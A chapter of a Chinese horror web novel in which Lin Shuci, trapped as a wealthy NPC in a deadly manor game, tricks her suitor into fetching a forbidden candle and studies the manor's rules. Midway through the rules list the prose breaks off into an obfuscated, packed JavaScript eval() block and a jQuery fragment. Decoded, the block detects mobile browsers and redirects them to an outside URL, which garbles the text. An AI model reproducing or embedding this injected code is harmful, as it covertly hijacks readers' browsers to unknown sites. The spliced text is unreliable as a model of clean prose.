血腥味在走廊的飘荡,壁灯投下微弱的光痕,犹如垂死的萤火虫,有气无力地闪烁着。
血迹消失了。
楼梯扶手上的血痕、墙面上飞溅的血珠,甚至地板上遗留的拖痕……都尽数消失,只留下令人窒息的干净。
仿佛从未有人在此尖叫、奔跑、死去。
这怎么可能?
一行人沉默地踏上楼梯,脚步声被厚重的地毯吸收,连回音都没有。
壁灯将他们的影子拉长,扭曲地爬满墙壁,像一群游荡的幽灵。
前方暴躁男压低嗓音不安地和冰山男交换信息:
“没见到李冉的尸体。”
“宵禁前必须找到。”
林书辞垂眸,余光扫过身后,黎栀正死死盯着楼梯扶手上新鲜的、带着木屑的抓痕,眉头紧锁,似乎发现了这里的异常。
林书辞将指尖无声地探进晚宴包。
作为NPC,她不能明目张胆地跟着员工们行动,但……一声极其轻微的“嗒”。
没有机会就创造机会。
一条蓝宝石项链悄然坠落在厚重的地毯上。
她佯装未觉,乖顺地跟随女仆离开,在转角时用鞋尖轻轻将项链踢进了阴影,让项链彻底隐没于黑暗。
回到房间后,她将耳朵贴在冰冷的门板上,像只警觉的猫,不愿错过走廊里的任何动静。
等待片刻后,走廊尽头传来一串刻意放轻的脚步声——员工们开始行动了。
她反手开门,悄声来到走廊低头俯身四处查看,俨然一副寻找东西的模样,与员工们保持着恰到好处的距离。
李冉房门前,传来打工人们不安的低语:
“尸体被处理得太干净了……”
“怎么会一点血迹都没有……”
林书辞酝酿好情绪,祥装焦急地走上前去,凑到了房间门口。
她眼眶瞬间泛起薄红,眼泪要落不落地浸湿长长的睫毛:“请问……你们见到我的钻石项链了吗?”
员工们窸窸窣窣的交谈声戛然而止。
在众人交换眼神的沉默间隙,林书辞的视线“不经意”地扫过房间——
月光如惨白的聚光灯,将李冉的尸体照得纤毫毕现。
本该血迹斑斑的现场竟洁净得诡异,浸透地毯和衣物的鲜血消失的无影无踪。
李冉的尸体像是被精心处理过的标本,掀开的头皮没了鲜血的覆盖,森森白骨一览无余,在月光下泛着冷光。
墙壁上油画中模糊的图层似在慢慢消散,已经隐约呈现出李冉的面孔。
“没看见。”暴躁男粗声打断她的观察。
她轻抿嘴唇,一副我见犹怜的模样:“你们可以帮我找找吗?我很喜欢那条项链的。”
“我帮你找。”黎栀沉声开口。
黎栀的应允正合她意,她对黎栀的印象还算不错。
可刚迈出两步,布兰温便如鬼魅般倏地闪现向前截断了两人的去路。
他修长的手指扣住林书辞的手腕,力道恰到好处地介于亲昵与禁锢之间:“找东西这种小事,交给我就好。”他低头在林书辞手背献上虔诚地一吻,“为大小姐服务,是我的荣幸。”转而隔开黎栀拉起林书辞就走。
林书辞:“……”滚啊!我要打探消息啊。
转眼间,布兰温就挂着虚假的笑意,将林书辞困在楼梯转角。
此时的月光倾泻而下,为他俊美的轮廓镀上银边,却没有照亮他那双幽深的眼睛。
“亲爱的……”他温热的吐息拂过林书辞的耳际,“这些亮闪闪的小东西可都是我们的未来呢。”
“我才不是……故意弄丢的呢。”林书辞偏头躲开,垂落的眼睫掩去眸中冷意。
布兰温扣紧她的手腕,指尖暧昧地摩挲着:“不如交给我保管?毕竟私奔路上……”
林书辞在心底冷笑:想得美!小狗?这分明是贪得无厌的鬣狗!这会就开始想架空我的财政大权?
她面上蹙起眉头配上娇嗔的语调:“可我每天都要换着项链带呀,以我的身份,怎么能同一条项链连续带几天呢?”
布兰温肌肉瞬间绷紧,却用极尽温柔的语调哄骗道:“我的大小姐,你是天生的贵族,华丽的一切均为你而生。”然后弯腰用头抵在林书辞的肩颈处摩挲。
布兰温亲昵的触碰让林书辞打了个寒颤,她强忍着甩开对方的冲动。
忽地,她灵光一闪:既然要配合出演这令人作呕的暧昧戏码,为什么不尝试换来些有价值的情报?
既然要演戏,那总得收点片酬,送上门的工具人不用白不用。
于是……当布兰温的唇即将贴上她锁骨之际,她话题一转:“我晚上自己在房间好害怕呀……罗斯蒙特庄园的电灯实在是太刺眼了,我开着灯会睡不着的……要是有支蜡烛……”
布兰温的瞳孔骤然收缩:“乐意为您效劳。”
“可是管家说……”她咬着下唇,恰到好处地流露出犹豫。
“嘘——”布兰温的手指抵住她唇瓣,“规则就是用来打破的。”他执起她的手轻吻,“为您破例是我的荣幸。”
上钩了!
目的达成的林书辞迅速装作惊喜地发现“遗失”的项链,借着俯身拾取的动作和布兰温拉开距离。
回到房间房门反锁的刹那,她卸下伪装,蜷缩在床上。
尽管床榻宽敞得能躺下三人,她却始终牢牢占据着最便于逃离的一隅。
当前线索过于零散,需要串联梳理,她的大脑飞速运转,将今日所见所闻一一拆解、重组。
1.在本次副本中,露娜贝尔的人际关系过于复杂,通过在晚宴上的观察发现,其他打工人似乎只与1位NPC有交集,而她却深陷未婚夫与情人的修罗场。
2.楼梯上的累累抓痕新旧不一,像一本死亡档案,记录着无数受害者的挣扎。庄园主人为何一次次邀请宾客,一次次展开杀戮?走廊里的其他肖像画,是否也是曾经的受害者?
3.李冉的血迹是如何在这么短的时间里消失?完全不留痕迹是如何做到的?
4.关于管家提出禁制是指出死亡规则还是在隐藏线索?依林书辞来看,在这个副本中庄园NPC与打工人的立场似乎不同,那么这些规则很有可能不是保护员工们,而是为了限制发现真相。
“宵禁后不得离开房间”——但夜晚往往才是探索的最佳时机。
“禁止破坏花园”——花园或许和大厅那副曼陀罗花油画有所关联。
“禁用蜡烛”——可这个时代明明还是蜡烛更为普及。
“上锁的门”——越是禁止越可能藏着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17722218|208725||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
关键线索。
整个庄园都透露着怪异,似乎在酝酿巨大的阴谋。
布兰温承诺的蜡烛将成为她的第一个突破口。
窗外,乌云吞噬月光,潮水般的黑暗漫入房间,困意像无形的枷锁,沉沉地压上她的眼皮。
她本以为会彻夜难眠,但身体比意识先投降,眼睛一闭,就失去了知觉。
一夜无梦。
清晨,林书辞被机械的敲门声唤醒。
她揉着太阳穴,眼底透着浓浓的倦意。
居然天亮了?她是怎么敢在恐怖副本睡得这么死的?
她深吸一口气,抚平睡裙的褶皱,缓步拉开房门。
独眼女仆静默地站在门外,手中托着银质餐盘。
雕花银盖罩住的餐盘中飘散出面包与咖啡的香气。
“您的早餐,尊贵的客人。”女仆的声音平板无波,漆黑的独眼一瞬不瞬地盯着她。
林书辞接过托盘,指尖意外触碰到女仆苍白的手,她的手冷得像具尸体。
她晃晃脑袋甩掉异样带来的恐惧,慢条斯理地享用起早餐,穿上层层叠叠的衣裙,冲着镜子扬起了一个完美的笑容。
临走前她瞥了一眼房间里的画像。
画像似乎有所改变。
画中人的轮廓隐约透出性别,虽然五官依然像是被笼罩在薄雾中,难以辨析,但似乎正在等待某个时刻彻底苏醒。
“这可不是什么好兆头,得赶快从副本里出去。”
她将餐刀藏进系统背包,转身出门。
昨夜没有再发生减员事件。
林书辞再次推开李冉的房门,房间已经变得空空荡荡。
李冉的尸体彻底消失了,而墙上的画却像是彻底“活”过来了一般,清晰地印出她的五官。
这画像栩栩如生,像是将本尊关进去了一般。
李冉的肌肤呈现青灰色,嘴唇鲜红欲滴,她漆黑的双眼直勾勾地盯着林书辞,似是想要穿透画布,看穿她的灵魂。
这副油画已经和走廊里的一众画像统一画风了。
楼下传来打工人们的争执声:
此时员工们分成了两派——
保守派以胖子男和新人少女构成,主张苟活五天,拒绝探索。
激进派以暴躁哥、冰山男、银发女以及黎栀构成,主张必须主动破解规则才能活到最后。
“这个副本只要求生存五天,只要我们不乱触发规则,时间到了自然就能完成任务。”
“你们什么都不做就是在慢性自杀!”
“可是……我真的很害怕……”
“别和他们废话,我们都没有保命道具,凭啥要参与探索副本这种高风险的事?”
“呵,随便你们,反正我们探索出来的东西也不会分享。”
“昨晚没死人,这足以证明只要遵守规则就能活到最后,为什么非要作死去给自己加难度呢?”
最终双方谁都没有说服对方,不欢而散。
同是打工人,相煎何太急?
林书辞无声地叹了口气,转身踏上向上的楼梯。
走廊里,油画上的肖像齐刷刷地转动眼珠,无声目送她离开。
不祥的预感萦绕在心头,仿佛有一柄达摩克利斯之剑高悬在庄园上方,随时准备刺落而下……